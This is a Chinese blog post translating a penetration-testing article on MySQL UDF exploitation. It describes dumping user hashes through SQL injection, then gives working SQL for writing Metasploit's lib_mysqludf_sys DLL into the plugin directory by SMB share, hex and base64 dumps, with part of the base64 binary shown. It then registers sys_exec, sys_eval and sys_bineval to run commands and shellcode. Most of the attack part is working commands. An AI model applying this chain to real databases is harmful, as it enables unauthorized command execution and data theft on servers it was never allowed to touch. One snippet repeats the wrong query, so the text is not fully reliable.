译文--MySQL UDF Exploitation
翻译完了才发现Freebuf上也有这篇文章,而且这个技术挺老的了,做个纪念吧 ==
综述
在渗透测试一个金融机构的时候,发现他们的内网是 MySQL 5.7 64-bit 的数据库。我发现Sql注入可以从mysql.user这个表中把 username 和 password 脱下来,并且有写入文件的权限。于是就有了写篇文章的的想法,来分享一下用 UDF 进行注入攻击、命令执行、反弹shell的技术。在Google的时候发现Windows系统遇到一些小问题,于是就写下这篇文章,理清一下我的思路,你也可以使用一些小的技巧在 UDF 上面。
这里使用的数据库是 MySQL 5.7.21 community server,(在写这篇文章的时候是最新的版本)。为了重现环境,我这里使用了mysql的 –secure-file-priv= 参数设置为空(这里不为空会限制你的发挥,脱裤或者上传文件的时候就很难受了)。在这个实验环境中我可以通过联合查询注入注入出mysql的用户名和密码。发现 MySQL 5.7 版本以上的Mysql,将 password 列替换成了 authentication_string 。
1 | # MySQL 5.6一下 |
你也可以通过 metasploit 的 mysql_hashdump.rb 这个模块来把mysql的hash值脱下来,我已经把所需要的脚本修改到可以利用Mysql 5.7 以上的版本,在这里
用户 osanda 可以允许 192.168.0.* 的IP进行连接,所以我们可以利用这个IP范围的机器进行连接,我已经破解了hash,得到了明文(plain text password)
当你登录上Mysql之后,可以看下当前用户的权限:1
select * from mysql.user where user = substring_index(user(), '@', 1) \G;
这里我们的用户有所有的权限,可以写入文件,这时你就可以考虑一下利用写入UDF库进行命令执行。
什么是 UDF库
UDF即 User Defined Functions(用户自定义函数),你可以在dll文件中自定义函数然后调用到Mysql里面。我们这里会用到 lib_mysqludf_sys_64.dll ,在 Metasploit framework 里面已经有了,你可以在 /usr/share/metasploit-framework/data/exploits/mysql/ 这个目录下选择对应操作系统和架构(architecture)的 UDF 文件。
(这里我截图了Kali里面的,可能因为我的Kali很久没更新了,这里Click Here的UDF文件多一些)
首先我们要确定Mysql的操作系统和架构,我们可以用 @@version_compile_os 和 @@version_compile_machine 两个参数来查看操作系统和架构
1 | MySQL [(none)]> select @@version_compile_os, @@version_compile_machine; |
从 MySQL 5.0.67 开始 UDF 必须包含在 plugin 文件下下面,你可以通过全局变量 @@plugin_dir 查看,也可以在 mysql.ini 文件夹下修改
1 | MySQL [(none)]> select @@plugin_dir ; |
可以通过 mysqld 下的一个参数进行修改
1 | mysqld.exe –plugin-dir=C:\\temp\\plugins\\ |
另外一种方法:1
mysqld.exe --defaults-file=C:\\temp\\my.ini
my.ini 文件中的内容:1
2[mysqld]
plugin_dir = C:\\temp\\plugins\\
在 5.0.67 版本之前你要写在操作系统的system用户下, 4.1.25 版本之前也还是一样的,下面是官方声明的文件(为了保持原来的感觉,这里的文档我就不翻译了):
1 | As of MySQL 5.0.67, the file must be located in the plugin directory. This directory is given by the value of the plugin_dir system variable. If the value of plugin_dir is empty, the behavior that is used before 5.0.67 applies: The file must be located in a directory that is searched by your system’s dynamic linker. |
1 | As of MySQL 4.1.25, the file must be located in the plugin directory. This directory is given by the value of the plugin_dir system variable. If the value of plugin_dir is empty, the behavior that is used before 4.1.25 applies: The file must be located in a directory that is searched by your system’s dynamic linker. |
看不懂的话就记住:1
如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
更老的版本的 Mysql ,你可以写到这些路径里面:1
2
3
4
5@@datadir
@@basedir\bin
C:\windows
C:\windows\system
C:\windows\system32
上传二进制文件
这里有很多种上传的方式,可以用 load_file 参数,要是可以的话你可以想办法直接拷贝过去。
1 | select load_file('\\\\192.168.0.19\\network\\lib_mysqludf_sys_64.dll') into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll"; |
也可以用 hex encoded 的方式上传1
2
3select hex(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll')) into dumpfile '/tmp/udf.hex';
select 0x4d5a90000300000004000000ffff0000b80000000000000040000000000000000000000000000000000000000… into dump file "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";
另外一种方法就是创建一个table,写入data。(insert update啥的方法都行)
1 | create table temp(data longblob); |
你还可以通过本地或者外界的网络共享来写入到table中,利用 load data infile 命令。 将我上面展示的 hex 文件解码上传上去。
1 | load data infile '\\\\192.168.0.19\\network\\udf.hex' |
有个好消息是,MySQL 5.6.1 和 MariaDB 10.0.5 以上的版本都支持 to_base64 and from_base64 这两个函数,可以用来 bypass。
1 | select to_base64(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll')) |
也可以编辑 base64 的文件,写入到 plugin 文件下:1
2
3
4
5
6
7
8
9
10
11select from_base64("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAAAzwu3gd6ODs3ejg7N3o4OzafEQs3Wjg7Np8QCzfaODs2nxB7N1o4OzUGX4
s3Sjg7N3o4KzW6ODs2nxCrN2o4OzafEWs3Wjg7Np8RGzdqODs2nxErN2o4OzUmljaHejg7MAAAAA
AAAAAAAAAAAAAAAAUEUAAGSGBgBwsYNLAAAAAAAAAADwACIgCwIJAAASAAAAFgAAAAAAADQaAAAA
EAAAAAAAgAEAAAAAEAAAAAIAAAUAAgAAAAAABQACAAAAAAAAgAAAAAQAADPOAAACAEABAAAQAAAA
AAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAAAA5AAAFAgAAQDQAADwAAAAAYAAAsAIA
AABQAABoAQAAAAAAAAAAAAAAcAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAwAABwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAAR
EAAAABAAAAASAAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAABQsAAAAwAAAADAAAABYAAAAA")
into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";
最后你可以把文件写入到数据库中:1
mysql -h192.168.0.30 -uosanda -pabc123 < /tmp/udf.b64
可以在外网或者网络共享当中写入文件:1
2select from_base64(data) from temp
into dumpfile 'D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll';
(操作很多啊,总结的很全面)
深入 DLL
(看不懂汇编,简单翻译一下吧 ==)
很多时候我看见其他人都只用 sys_exec 这个命令,但是文件的作者还是写了一些很有用的函数,这里我展示出来。
sys_exec
这个函数会传递参数(args->args[0])执行系统命令
导入这个命令:1
2
3
4
5
6select * from mysql.func where name = 'sys_exec';
+----------+-----+---------+----------+
| name | ret | dl | type |
+----------+-----+---------+----------+
| sys_exec | 2 | udf.dll | function |
+----------+-----+---------+----------+
确认:1
2
3
4
5
6select * from mysql.func where name = 'sys_exec';
+----------+-----+---------+----------+
| name | ret | dl | type |
+----------+-----+---------+----------+
| sys_exec | 2 | udf.dll | function |
+----------+-----+---------+----------+
删除命令:1
drop function sys_exec;
sys_eval
这个函数会通过 stdout 流将执行的命令回显出来,用到了 _popen 和 fgets。
导入这个命令:1
create function sys_eval returns string soname 'udf.dll';
确认:1
select * from mysql.func where name = 'sys_eval';
删除:1
drop function sys_eval;
利用:1
select sys_eval('dir');
sys_get
这个函数通过 getenv 返回给我们系统变量的值。
导入这个命令:1
create function sys_get returns string soname 'udf.dll';
确认:1
select * from mysql.func where name = 'sys_get';
删除:1
Drop function sys_get;
利用:1
Select sys_get('longonserver');
执行shell code – sys_bineval
我发现了一个很有趣的函数 sys_bineval ,它会分配 RWX内存(不知道什么是RWX),将 VirtualAlloc API 和 strcpy the ‘args->args[0]’ 参数,通过 CreateThread API 添加到一个新的进程当中。(看不懂直接略过就好了,反正也是执行系统命令的)
导入这个命令:1
create function sys_bineval returns int soname 'udf.dll';
确认:1
select * from mysql.func where name = 'sys_bineval';
删除:1
drop function sys_bineval;
利用:
这里文章的作者在64位的操作系统下并没有成功,在32位下成功了,可以直接调用shellcode或者加密的base64或者hex转换1
select sys_bineval(from_base64(load_file('./calc.b64')));
发现这些外来的 UDF 函数没有自带的异常处理(原文应该是这个意思),有的时候可能出现错误造成mysql.exe crash,希望你在实战的过程中不要出现这样的情况。
参考链接
http://ftp.nchu.edu.tw/MySQL/doc/refman/5.0/en/create-function-udf.html
http://ftp.nchu.edu.tw/MySQL/doc/refman/4.1/en/create-function-udf.html
https://docs.oracle.com/cd/E19078-01/mysql/mysql-refman-5.0/extending-mysql.html
https://dev.mysql.com/doc/relnotes/mysql/5.6/en/news-5-6-1.html
https://dev.mysql.com/doc/refman/5.7/en/udf-arguments.html
https://msdn.microsoft.com/en-us/library/aa298534(v=vs.60).aspx
Papers
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sher10cksec@foxmail.com
文章标题:译文--MySQL UDF Exploitation
本文作者:sher10ck
发布时间:2019-07-12, 20:57:35
最后更新:2020-01-13, 13:05:50
原始链接:http://sherlocz.github.io/2019/07/12/译文-MySQL-UDF-Exploitation/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。